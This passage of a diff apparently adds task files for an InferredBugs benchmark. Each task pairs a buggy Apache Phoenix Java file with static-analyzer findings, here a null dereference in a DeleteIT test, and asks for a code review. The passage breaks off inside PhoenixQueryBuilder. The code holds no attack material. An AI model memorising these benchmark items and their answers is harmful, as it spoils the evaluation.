+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+be689c014fdbde0dcf8194e356102f46
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6030/instruction.md b/inferredbugs-6030/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bc4e1eda6100de439cb753b63c1c7ecc25c619bb
--- /dev/null
+++ b/inferredbugs-6030/instruction.md
@@ -0,0 +1,543 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.end2end;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.sql.Connection;
+import java.sql.Date;
+import java.sql.DriverManager;
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.sql.Types;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import org.apache.phoenix.util.MetaDataUtil;
+import org.apache.phoenix.util.QueryUtil;
+import org.junit.Test;
+import org.junit.experimental.categories.Category;
+
+@Category(HBaseManagedTimeTest.class)
+public class DeleteIT extends BaseHBaseManagedTimeIT {
+    private static final int NUMBER_OF_ROWS = 20;
+    private static final int NTH_ROW_NULL = 5;
+    
+    private static void initTableValues(Connection conn) throws SQLException {
+        ensureTableCreated(getUrl(),"IntIntKeyTest");
+        String upsertStmt = "UPSERT INTO IntIntKeyTest VALUES(?,?)";
+        PreparedStatement stmt = conn.prepareStatement(upsertStmt);
+        for (int i = 0; i < NUMBER_OF_ROWS; i++) {
+            stmt.setInt(1, i);
+            if (i % NTH_ROW_NULL != 0) {
+                stmt.setInt(2, i * 10);
+            } else {
+                stmt.setNull(2, Types.INTEGER);
+            }
+            stmt.execute();
+        }
+        conn.commit();
+    }
+
+    @Test
+    public void testDeleteFilterNoAutoCommit() throws Exception {
+        testDeleteFilter(false);
+    }
+    
+    @Test
+    public void testDeleteFilterAutoCommit() throws Exception {
+        testDeleteFilter(true);
+    }
+    
+    private void testDeleteFilter(boolean autoCommit) throws Exception {
+        Connection conn = DriverManager.getConnection(getUrl());
+        initTableValues(conn);
+
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS);
+        
+        conn.setAutoCommit(autoCommit);
+        String deleteStmt = "DELETE FROM IntIntKeyTest WHERE 20 = j";
+        assertEquals(1,conn.createStatement().executeUpdate(deleteStmt));
+        if (!autoCommit) {
+            conn.commit();
+        }
+
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS - 1);
+    }
+
+    @Test
+    public void testDeleteByRowAndFilterAutoCommit() throws SQLException {
+        testDeleteByFilterAndRow(true);
+    }
+
+
+    @Test
+    public void testDeleteByRowAndFilterNoAutoCommit() throws SQLException {
+        testDeleteByFilterAndRow(false);
+    }
+
+    private void testDeleteByFilterAndRow(boolean autoCommit) throws SQLException {
+        Connection conn = DriverManager.getConnection(getUrl());
+        initTableValues(conn);
+
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS);
+
+        conn.setAutoCommit(autoCommit);
+
+        Statement stmt = conn.createStatement();
+
+        // This shouldn't delete anything, because the key matches but the filter doesn't
+        assertEquals(0, stmt.executeUpdate("DELETE FROM IntIntKeyTest WHERE i = 1 AND j = 1"));
+        if (!autoCommit) {
+            conn.commit();
+        }
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS);
+
+        // This shouldn't delete anything, because the filter matches but the key doesn't
+        assertEquals(0, stmt.executeUpdate("DELETE FROM IntIntKeyTest WHERE i = -1 AND j = 20"));
+        if (!autoCommit) {
+            conn.commit();
+        }
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS);
+
+        // This should do a delete, because both the filter and key match
+        assertEquals(1, stmt.executeUpdate("DELETE FROM IntIntKeyTest WHERE i = 1 AND j = 10"));
+        if (!autoCommit) {
+            conn.commit();
+        }
+        assertTableCount(conn, "IntIntKeyTest", NUMBER_OF_ROWS - 1);
+
+    }
+
+    private void assertTableCount(Connection conn, String tableName, int expectedNumberOfRows) throws SQLException {
+        ResultSet rs = conn.createStatement().executeQuery("SELECT count(*) FROM " + tableName);
+        assertTrue(rs.next());
+        assertEquals(expectedNumberOfRows, rs.getInt(1));
+        rs.close();
+    }
+    
+    private static void assertIndexUsed (Connection conn, String query, String indexName, boolean expectedToBeUsed) throws SQLException {
+        assertIndexUsed(conn, query, Collections.emptyList(), indexName, expectedToBeUsed);
+    }
+
+    private static void assertIndexUsed (Connection conn, String query, List<Object> binds, String indexName, boolean expectedToBeUsed) throws SQLException {
+            PreparedStatement stmt = conn.prepareStatement("EXPLAIN " + query);
+            for (int i = 0; i < binds.size(); i++) {
+                stmt.setObject(i+1, binds.get(i));
+            }
+            ResultSet rs = stmt.executeQuery();
+            String explainPlan = QueryUtil.getExplainPlan(rs);
+            assertEquals(expectedToBeUsed, explainPlan.contains(" SCAN OVER " + indexName));
+   }
+
+    private void testDeleteRange(boolean autoCommit, boolean createIndex) throws Exception {
+        testDeleteRange(autoCommit, createIndex, false);
+    }
+
+    private void testDeleteRange(boolean autoCommit, boolean createIndex, boolean local) throws Exception {
+        Connection conn = DriverManager.getConnection(getUrl());
+        initTableValues(conn);
+        
+        String indexName = "IDX";
+        if (createIndex) {
+            if (local) {
+                conn.createStatement().execute("CREATE LOCAL INDEX IF NOT EXISTS local_idx ON IntIntKeyTest(j)");
+                indexName = MetaDataUtil.getLocalIndexTableName("INTINTKEYTEST");
+            } else {
+                conn.createStatement().execute("CREATE INDEX IF NOT EXISTS idx ON IntIntKeyTest(j)");
+            }
+        }
+        
+        ResultSet rs;
+        rs = conn.createStatement().executeQuery("SELECT count(*) FROM IntIntKeyTest");
+        assertTrue(rs.next());
+        assertEquals(NUMBER_OF_ROWS, rs.getInt(1));
+
+        rs = conn.createStatement().executeQuery("SELECT i FROM IntIntKeyTest WHERE j IS NULL");
+        int i = 0, isNullCount = 0;
+        while (rs.next()) {
+            assertEquals(i,rs.getInt(1));
+            i += NTH_ROW_NULL;
+            isNullCount++;
+        }
+        rs = conn.createStatement().executeQuery("SELECT count(*) FROM IntIntKeyTest WHERE j IS NOT NULL");
+        assertTrue(rs.next());
+        assertEquals(NUMBER_OF_ROWS-isNullCount, rs.getInt(1));
+
+        String deleteStmt ;
+        PreparedStatement stmt;
+        conn.setAutoCommit(autoCommit);
+        deleteStmt = "DELETE FROM IntIntKeyTest WHERE i >= ? and i < ?";
+        assertIndexUsed(conn, deleteStmt, Arrays.<Object>asList(5,10), indexName, false);
+        stmt = conn.prepareStatement(deleteStmt);
+        stmt.setInt(1, 5);
+        stmt.setInt(2, 10);
+        stmt.execute();
+        if (!autoCommit) {
+            conn.commit();
+        }
+        
+        String query = "SELECT count(*) FROM IntIntKeyTest";
+        assertIndexUsed(conn, query, indexName, createIndex);
+        query = "SELECT count(*) FROM IntIntKeyTest";
+        rs = conn.createStatement().executeQuery(query);
+        assertTrue(rs.next());
+        assertEquals(NUMBER_OF_ROWS - (10-5), rs.getInt(1));
+        
+        deleteStmt = "DELETE FROM IntIntKeyTest WHERE j IS NULL";
+        stmt = conn.prepareStatement(deleteStmt);
+        assertIndexUsed(conn, deleteStmt, indexName, createIndex);
+        stmt.execute();
+        if (!autoCommit) {
+            conn.commit();
+        }
+        rs = conn.createStatement().executeQuery("SELECT count(*) FROM IntIntKeyTest");
+        assertTrue(rs.next());
+        assertEquals(NUMBER_OF_ROWS - (10-5)-isNullCount+1, rs.getInt(1));
+    }
+    
+    @Test
+    public void testDeleteRangeNoAutoCommitNoIndex() throws Exception {
+        testDeleteRange(false, false);
+    }
+    
+    @Test
+    public void testDeleteRangeAutoCommitNoIndex() throws Exception {
+        testDeleteRange(true, false);
+    }
+    
+    @Test
+    public void testDeleteRangeNoAutoCommitWithIndex() throws Exception {
+        testDeleteRange(false, true, false);
+    }
+
+    @Test
+    public void testDeleteRangeNoAutoCommitWithLocalIndexIndex() throws Exception {
+        testDeleteRange(false, true, true);
+    }
+    
+    @Test
+    public void testDeleteRangeAutoCommitWithIndex() throws Exception {
+        testDeleteRange(true, true, false);
+    }
+    
+    @Test
+    public void testDeleteRangeAutoCommitWithLocalIndex() throws Exception {
+        testDeleteRange(true, true, true);
+    }
+
+    @Test
+    public void testDeleteAllFromTableWithIndexAutoCommitSalting() throws SQLException {
+        testDeleteAllFromTableWithIndex(true, true, false);
+    }
+
+    @Test
+    public void testDeleteAllFromTableWithLocalIndexAutoCommitSalting() throws SQLException {
+        testDeleteAllFromTableWithIndex(true, true, true);
+    }
+    
+    @Test
+    public void testDeleteAllFromTableWithIndexAutoCommitNoSalting() throws SQLException {
+        testDeleteAllFromTableWithIndex(true, false);
+    }
+    
+    @Test
+    public void testDeleteAllFromTableWithIndexNoAutoCommitNoSalting() throws SQLException {
+        testDeleteAllFromTableWithIndex(false,false);
+    }
+    
+    @Test
+    public void testDeleteAllFromTableWithIndexNoAutoCommitSalted() throws SQLException {
+        testDeleteAllFromTableWithIndex(false, true, false);
+    }
+    
+    @Test
+    public void testDeleteAllFromTableWithLocalIndexNoAutoCommitSalted() throws SQLException {
+        testDeleteAllFromTableWithIndex(false, true, true);
+    }
+
+    private void testDeleteAllFromTableWithIndex(boolean autoCommit, boolean isSalted) throws SQLException {
+        testDeleteAllFromTableWithIndex(autoCommit, isSalted, false);
+    }
+
+    private void testDeleteAllFromTableWithIndex(boolean autoCommit, boolean isSalted, boolean localIndex) throws SQLException {
+        Connection con = null;
+        try {
+            con = DriverManager.getConnection(getUrl());
+            con.setAutoCommit(autoCommit);
+
+            Statement stm = con.createStatement();
+            String s = "CREATE TABLE IF NOT EXISTS web_stats (" +
+                    "HOST CHAR(2) NOT NULL," +
+                    "DOMAIN VARCHAR NOT NULL, " +
+                    "FEATURE VARCHAR NOT NULL, " +
+                    "DATE DATE NOT NULL, \n" + 
+                    "USAGE.CORE BIGINT," +
+                    "USAGE.DB BIGINT," +
+                    "STATS.ACTIVE_VISITOR INTEGER " +
+                    "CONSTRAINT PK PRIMARY KEY (HOST, DOMAIN, FEATURE, DATE))" + (isSalted ? " SALT_BUCKETS=3" : "");
+            stm.execute(s);
+            if (localIndex) {
+                stm.execute("CREATE LOCAL INDEX local_web_stats_idx ON web_stats (CORE,DB,ACTIVE_VISITOR)");
+            } else {
+                stm.execute("CREATE INDEX web_stats_idx ON web_stats (CORE,DB,ACTIVE_VISITOR)");
+            }
+            stm.close();
+
+            PreparedStatement psInsert = con
+                    .prepareStatement("UPSERT INTO web_stats(HOST, DOMAIN, FEATURE, DATE, CORE, DB, ACTIVE_VISITOR) VALUES(?,?, ? , ?, ?, ?, ?)");
+            psInsert.setString(1, "AA");
+            psInsert.setString(2, "BB");
+            psInsert.setString(3, "CC");
+            psInsert.setDate(4, new Date(0));
+            psInsert.setLong(5, 1L);
+            psInsert.setLong(6, 2L);
+            psInsert.setLong(7, 3);
+            psInsert.execute();
+            psInsert.close();
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            con.createStatement().execute("DELETE FROM web_stats");
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            ResultSet rs = con.createStatement().executeQuery("SELECT /*+ NO_INDEX */ count(*) FROM web_stats");
+            assertTrue(rs.next());
+            assertEquals(0, rs.getLong(1));
+            if(localIndex){
+                rs = con.createStatement().executeQuery("SELECT count(*) FROM local_web_stats_idx");
+            } else {
+                rs = con.createStatement().executeQuery("SELECT count(*) FROM web_stats_idx");
+            }
+            assertTrue(rs.next());
+            assertEquals(0, rs.getLong(1));
+
+        } finally {
+            try {
+                con.close();
+            } catch (Exception ex) {
+            }
+        }
+    }
+    
+    @Test
+    public void testDeleteRowFromTableWithImmutableIndex() throws SQLException {
+        Connection con = null;
+        try {
+            boolean autoCommit = false;
+            con = DriverManager.getConnection(getUrl());
+            con.setAutoCommit(autoCommit);
+
+            Statement stm = con.createStatement();
+            stm.execute("CREATE TABLE IF NOT EXISTS web_stats (" +
+                    "HOST CHAR(2) NOT NULL," +
+                    "DOMAIN VARCHAR NOT NULL, " +
+                    "FEATURE VARCHAR NOT NULL, " +
+                    "DATE DATE NOT NULL, \n" + 
+                    "USAGE.CORE BIGINT," +
+                    "USAGE.DB BIGINT," +
+                    "STATS.ACTIVE_VISITOR INTEGER " +
+                    "CONSTRAINT PK PRIMARY KEY (HOST, DOMAIN, FEATURE, DATE)) IMMUTABLE_ROWS=true");
+            stm.execute("CREATE INDEX web_stats_idx ON web_stats (DATE, FEATURE)");
+            stm.close();
+
+            Date date = new Date(0);
+            PreparedStatement psInsert = con
+                    .prepareStatement("UPSERT INTO web_stats(HOST, DOMAIN, FEATURE, DATE, CORE, DB, ACTIVE_VISITOR) VALUES(?,?, ? , ?, ?, ?, ?)");
+            psInsert.setString(1, "AA");
+            psInsert.setString(2, "BB");
+            psInsert.setString(3, "CC");
+            psInsert.setDate(4, date);
+            psInsert.setLong(5, 1L);
+            psInsert.setLong(6, 2L);
+            psInsert.setLong(7, 3);
+            psInsert.execute();
+            psInsert.close();
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            psInsert = con.prepareStatement("DELETE FROM web_stats WHERE (HOST, DOMAIN, FEATURE, DATE) = (?,?,?,?)");
+            psInsert.setString(1, "AA");
+            psInsert.setString(2, "BB");
+            psInsert.setString(3, "CC");
+            psInsert.setDate(4, date);
+            psInsert.execute();
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            ResultSet rs = con.createStatement().executeQuery("SELECT /*+ NO_INDEX */ count(*) FROM web_stats");
+            assertTrue(rs.next());
+            assertEquals(0, rs.getLong(1));
+
+            rs = con.createStatement().executeQuery("SELECT count(*) FROM web_stats_idx");
+            assertTrue(rs.next());
+            assertEquals(0, rs.getLong(1));
+
+        } finally {
+            try {
+                con.close();
+            } catch (Exception ex) {
+            }
+        }
+    }
+    
+    
+    @Test
+    public void testDeleteAllFromTableNoAutoCommit() throws SQLException {
+        testDeleteAllFromTable(false);
+    }
+
+    @Test
+    public void testDeleteAllFromTableAutoCommit() throws SQLException {
+        testDeleteAllFromTable(true);
+    }
+    
+    private void testDeleteAllFromTable(boolean autoCommit) throws SQLException {
+        Connection con = null;
+        try {
+            con = DriverManager.getConnection(getUrl());
+            con.setAutoCommit(autoCommit);
+
+            Statement stm = con.createStatement();
+            stm.execute("CREATE TABLE IF NOT EXISTS web_stats (" +
+                    "HOST CHAR(2) NOT NULL," +
+                    "DOMAIN VARCHAR NOT NULL, " +
+                    "FEATURE VARCHAR NOT NULL, " +
+                    "DATE DATE NOT NULL, \n" + 
+                    "USAGE.CORE BIGINT," +
+                    "USAGE.DB BIGINT," +
+                    "STATS.ACTIVE_VISITOR INTEGER " +
+                    "CONSTRAINT PK PRIMARY KEY (HOST, DOMAIN, FEATURE, DATE))");
+            stm.close();
+
+            PreparedStatement psInsert = con
+                    .prepareStatement("UPSERT INTO web_stats(HOST, DOMAIN, FEATURE, DATE, CORE, DB, ACTIVE_VISITOR) VALUES(?,?, ? , ?, ?, ?, ?)");
+            psInsert.setString(1, "AA");
+            psInsert.setString(2, "BB");
+            psInsert.setString(3, "CC");
+            psInsert.setDate(4, new Date(0));
+            psInsert.setLong(5, 1L);
+            psInsert.setLong(6, 2L);
+            psInsert.setLong(7, 3);
+            psInsert.execute();
+            psInsert.close();
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            con.createStatement().execute("DELETE FROM web_stats");
+            if (!autoCommit) {
+                con.commit();
+            }
+            
+            ResultSet rs = con.createStatement().executeQuery("SELECT /*+ NO_INDEX */ count(*) FROM web_stats");
+            assertTrue(rs.next());
+            assertEquals(0, rs.getLong(1));
+        } finally {
+            try {
+                con.close();
+            } catch (Exception ex) {
+            }
+        }
+    }
+}
+
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `con` last assigned on line 347 could be null and is dereferenced at line 402.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DeleteIT.testDeleteRowFromTableWithImmutableIndex()
+
+### Procedure Id:
+org.apache.phoenix.end2end.DeleteIT.testDeleteRowFromTableWithImmutableIndex():void.26f4ca5989d714665af9849fcd68ba0c
+
+### File:
+phoenix-core/src/it/java/org/apache/phoenix/end2end/DeleteIT.java
+
+### Key:
+DeleteIT.java|testDeleteRowFromTableWithImmutableIndex|NULL_DEREFERENCE
+
+### Node Key:
+5aca16f4905ed8a604b17a95d9409de0
+
+### Hash:
+c94a3fe9169aba02d87b92da58456851
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6031/instruction.md b/inferredbugs-6031/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..33622c687e1ab84f4908bd91c122dd68edbdd71c
--- /dev/null
+++ b/inferredbugs-6031/instruction.md
@@ -0,0 +1,925 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** phoenix
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.phoenix.hive.query;
+
+import com.google.common.base.CharMatcher;
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Predicate;
+import com.google.common.base.Splitter;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+import org.apache.commons.lang.StringUtils;
+import org.apache.commons.logging.Log;
+import org.apache.commons.logging.LogFactory;
+import org.apache.hadoop.hive.ql.plan.ExprNodeConstantDesc;
+import org.apache.hadoop.hive.serde.serdeConstants;
+import org.apache.hadoop.hive.serde2.typeinfo.TypeInfo;
+import org.apache.hadoop.mapred.JobConf;
+import org.apache.phoenix.hive.constants.PhoenixStorageHandlerConstants;
+import org.apache.phoenix.hive.ql.index.IndexSearchCondition;
+import org.apache.phoenix.hive.util.ColumnMappingUtils;
+import org.apache.phoenix.hive.util.PhoenixStorageHandlerUtil;
+import org.apache.phoenix.hive.util.PhoenixUtil;
+import org.apache.phoenix.util.StringUtil;
+
+import static org.apache.phoenix.hive.util.ColumnMappingUtils.getColumnMappingMap;
+
+/**
+ * Query builder. Produces a query depending on the colummn list and conditions
+ */
+
+public class PhoenixQueryBuilder {
+
+    private static final Log LOG = LogFactory.getLog(PhoenixQueryBuilder.class);
+
+    private static final String QUERY_TEMPLATE = "select $HINT$ $COLUMN_LIST$ from $TABLE_NAME$";
+
+    private static final PhoenixQueryBuilder QUERY_BUILDER = new PhoenixQueryBuilder();
+
+    private PhoenixQueryBuilder() {
+        if (LOG.isInfoEnabled()) {
+            LOG.info("PhoenixQueryBuilder created");
+        }
+    }
+
+    public static PhoenixQueryBuilder getInstance() {
+        return QUERY_BUILDER;
+    }
+
+    private void addConditionColumnToReadColumn(List<String> readColumnList, List<String>
+            conditionColumnList) {
+        if (readColumnList.isEmpty()) {
+            return;
+        }
+
+        for (String conditionColumn : conditionColumnList) {
+            if (!readColumnList.contains(conditionColumn)) {
+                if (LOG.isDebugEnabled()) {
+                    LOG.debug("Condition column " + conditionColumn + " does not exist in " +
+                            "read-columns.");
+                }
+
+                readColumnList.add(conditionColumn);
+            }
+        }
+    }
+
+    private String makeQueryString(JobConf jobConf, String tableName, List<String>
+            readColumnList, String whereClause, String queryTemplate, String hints, Map<String,
+            TypeInfo> columnTypeMap) throws IOException {
+        StringBuilder sql = new StringBuilder();
+        List<String> conditionColumnList = buildWhereClause(jobConf, sql, whereClause, columnTypeMap);
+        readColumnList  = replaceColumns(jobConf, readColumnList);
+
+        if (conditionColumnList.size() > 0) {
+            addConditionColumnToReadColumn(readColumnList, conditionColumnList);
+            readColumnList = ColumnMappingUtils.quoteColumns(readColumnList);
+            sql.insert(0, queryTemplate.replace("$HINT$", hints).replace("$COLUMN_LIST$",
+                    getSelectColumns(jobConf, tableName, readColumnList)).replace("$TABLE_NAME$",
+                    tableName));
+        } else {
+            readColumnList = ColumnMappingUtils.quoteColumns(readColumnList);
+            sql.append(queryTemplate.replace("$HINT$", hints).replace("$COLUMN_LIST$",
+                    getSelectColumns(jobConf, tableName, readColumnList)).replace("$TABLE_NAME$",
+                    tableName));
+        }
+
+        if (LOG.isInfoEnabled()) {
+            LOG.info("Input query : " + sql.toString());
+        }
+
+        return sql.toString();
+    }
+
+    private static String findReplacement(JobConf jobConf, String column) {
+        Map<String, String> columnMappingMap = getColumnMappingMap(jobConf.get
+                (PhoenixStorageHandlerConstants.PHOENIX_COLUMN_MAPPING));
+        if (columnMappingMap != null && columnMappingMap.containsKey(column)) {
+            return columnMappingMap.get(column);
+        } else {
+            return column;
+        }
+    }
+    private static List<String> replaceColumns(JobConf jobConf, List<String> columnList) {
+        Map<String, String> columnMappingMap = getColumnMappingMap(jobConf.get
+                (PhoenixStorageHandlerConstants.PHOENIX_COLUMN_MAPPING));
+        if(columnMappingMap != null) {
+          List<String> newList = Lists.newArrayList();
+            for(String column:columnList) {
+                if(columnMappingMap.containsKey(column)) {
+                    newList.add(columnMappingMap.get(column));
+                } else {
+                    newList.add(column);
+                }
+            }
+            return newList;
+        }
+        return null;
+    }
+
+    private String makeQueryString(JobConf jobConf, String tableName, List<String>
+            readColumnList, List<IndexSearchCondition> searchConditions, String queryTemplate,
+                                   String hints) throws IOException {
+        StringBuilder query = new StringBuilder();
+        List<String> conditionColumnList = buildWhereClause(jobConf, query, searchConditions);
+
+        if (conditionColumnList.size() > 0) {
+            readColumnList  = replaceColumns(jobConf, readColumnList);
+            addConditionColumnToReadColumn(readColumnList, conditionColumnList);
+            query.insert(0, queryTemplate.replace("$HINT$", hints).replace("$COLUMN_LIST$",
+                    getSelectColumns(jobConf, tableName, readColumnList)).replace("$TABLE_NAME$",
+                    tableName));
+        } else {
+            readColumnList  = replaceColumns(jobConf, readColumnList);
+            query.append(queryTemplate.replace("$HINT$", hints).replace("$COLUMN_LIST$",
+                    getSelectColumns(jobConf, tableName, readColumnList)).replace("$TABLE_NAME$",
+                    tableName));
+        }
+
+        if (LOG.isInfoEnabled()) {
+            LOG.info("Input query : " + query.toString());
+        }
+
+        return query.toString();
+    }
+
+    private String getSelectColumns(JobConf jobConf, String tableName, List<String>
+            readColumnList) throws IOException {
+        String selectColumns = Joiner.on(PhoenixStorageHandlerConstants.COMMA).join(ColumnMappingUtils.quoteColumns(readColumnList));
+
+        if (PhoenixStorageHandlerConstants.EMPTY_STRING.equals(selectColumns)) {
+            selectColumns = "*";
+        } else {
+            if (PhoenixStorageHandlerUtil.isTransactionalTable(jobConf)) {
+                List<String> pkColumnList = PhoenixUtil.getPrimaryKeyColumnList(jobConf, tableName);
+                StringBuilder pkColumns = new StringBuilder();
+
+                for (String pkColumn : pkColumnList) {
+                    if (!readColumnList.contains(pkColumn)) {
+                        pkColumns.append("\"").append(pkColumn).append("\"" + PhoenixStorageHandlerConstants.COMMA);
+                    }
+                }
+
+                selectColumns = pkColumns.toString() + selectColumns;
+            }
+        }
+
+        return selectColumns;
+    }
+
+    public String buildQuery(JobConf jobConf, String tableName, List<String> readColumnList,
+                             String whereClause, Map<String, TypeInfo> columnTypeMap) throws
+            IOException {
+        String hints = getHint(jobConf, tableName);
+
+        if (LOG.isDebugEnabled()) {
+            LOG.debug("Building query with columns : " + readColumnList + " table name : " +
+                    tableName + "  with where conditions : " + whereClause + "  hints : " + hints);
+        }
+
+        return makeQueryString(jobConf, tableName, Lists.newArrayList(readColumnList),
+                whereClause, QUERY_TEMPLATE, hints, columnTypeMap);
+    }
+
+    public String buildQuery(JobConf jobConf, String tableName, List<String> readColumnList,
+                             List<IndexSearchCondition> searchConditions) throws IOException {
+        String hints = getHint(jobConf, tableName);
+
+        if (LOG.isDebugEnabled()) {
+            LOG.debug("Building query with columns : " + readColumnList + "  table name : " +
+                    tableName + " search conditions : " + searchConditions + "  hints : " + hints);
+        }
+
+        return makeQueryString(jobConf, tableName, Lists.newArrayList(readColumnList),
+                searchConditions, QUERY_TEMPLATE, hints);
+    }
+
+    private String getHint(JobConf jobConf, String tableName) {
+        StringBuilder hints = new StringBuilder("/*+ ");
+        if (!jobConf.getBoolean(PhoenixStorageHandlerConstants.HBASE_SCAN_CACHEBLOCKS, Boolean
+                .FALSE)) {
+            hints.append("NO_CACHE ");
+        }
+
+        String queryHint = jobConf.get(tableName + PhoenixStorageHandlerConstants
+                .PHOENIX_TABLE_QUERY_HINT);
+        if (queryHint != null) {
+            hints.append(queryHint);
+        }
+        hints.append(" */");
+
+        return hints.toString();
+    }
+
+    private List<String> buildWhereClause(JobConf jobConf, StringBuilder sql, String whereClause,
+                                          Map<String, TypeInfo> columnTypeMap) throws IOException {
+        if (whereClause == null || whereClause.isEmpty()) {
+            return Collections.emptyList();
+        }
+
+        List<String> conditionColumnList = Lists.newArrayList();
+        sql.append(" where ");
+
+        whereClause = StringUtils.replaceEach(whereClause, new String[]{"UDFToString"}, new
+                String[]{"to_char"});
+
+        for (String columnName : columnTypeMap.keySet()) {
+            if (whereClause.contains(columnName)) {
+                String column = findReplacement(jobConf, columnName);
+                whereClause = StringUtils.replaceEach(whereClause, new String[] {columnName}, new String[] {"\""+column + "\""});
+                conditionColumnList.add(column);
+
+
+                if (PhoenixStorageHandlerConstants.DATE_TYPE.equals(
+                        columnTypeMap.get(columnName).getTypeName())) {
+                    whereClause = applyDateFunctionUsingRegex(whereClause, columnName);
+                } else if (PhoenixStorageHandlerConstants.TIMESTAMP_TYPE.equals(
+                        columnTypeMap.get(columnName).getTypeName())) {
+                    whereClause = applyTimestampFunctionUsingRegex(whereClause, columnName);
+                }
+            }
+        }
+
+        sql.append(whereClause);
+
+        return conditionColumnList;
+    }
+
+    private String applyDateFunctionUsingRegex(String whereClause, String columnName) {
+        whereClause = applyFunctionForCommonOperator(whereClause, columnName, true);
+        whereClause = applyFunctionForBetweenOperator(whereClause, columnName, true);
+        whereClause = applyFunctionForInOperator(whereClause, columnName, true);
+
+        return whereClause;
+    }
+
+    private String applyTimestampFunctionUsingRegex(String whereClause, String columnName) {
+        whereClause = applyFunctionForCommonOperator(whereClause, columnName, false);
+        whereClause = applyFunctionForBetweenOperator(whereClause, columnName, false);
+        whereClause = applyFunctionForInOperator(whereClause, columnName, false);
+
+        return whereClause;
+    }
+
+    private String applyFunctionForCommonOperator(String whereClause, String columnName, boolean
+            isDate) {
+        String targetPattern = isDate ? PhoenixStorageHandlerConstants.DATE_PATTERN :
+                PhoenixStorageHandlerConstants.TIMESTAMP_PATTERN;
+        String pattern = StringUtils.replaceEach(PhoenixStorageHandlerConstants
+                        .COMMON_OPERATOR_PATTERN,
+                new String[]{PhoenixStorageHandlerConstants.COLUMNE_MARKER,
+                        PhoenixStorageHandlerConstants.PATERN_MARKER}, new String[]{columnName,
+                        targetPattern});
+
+        Matcher matcher = Pattern.compile(pattern).matcher(whereClause);
+
+        while (matcher.find()) {
+            String token = matcher.group(1);
+            String datePart = matcher.group(3);
+
+            String convertString = token.replace(datePart, applyFunction(isDate ?
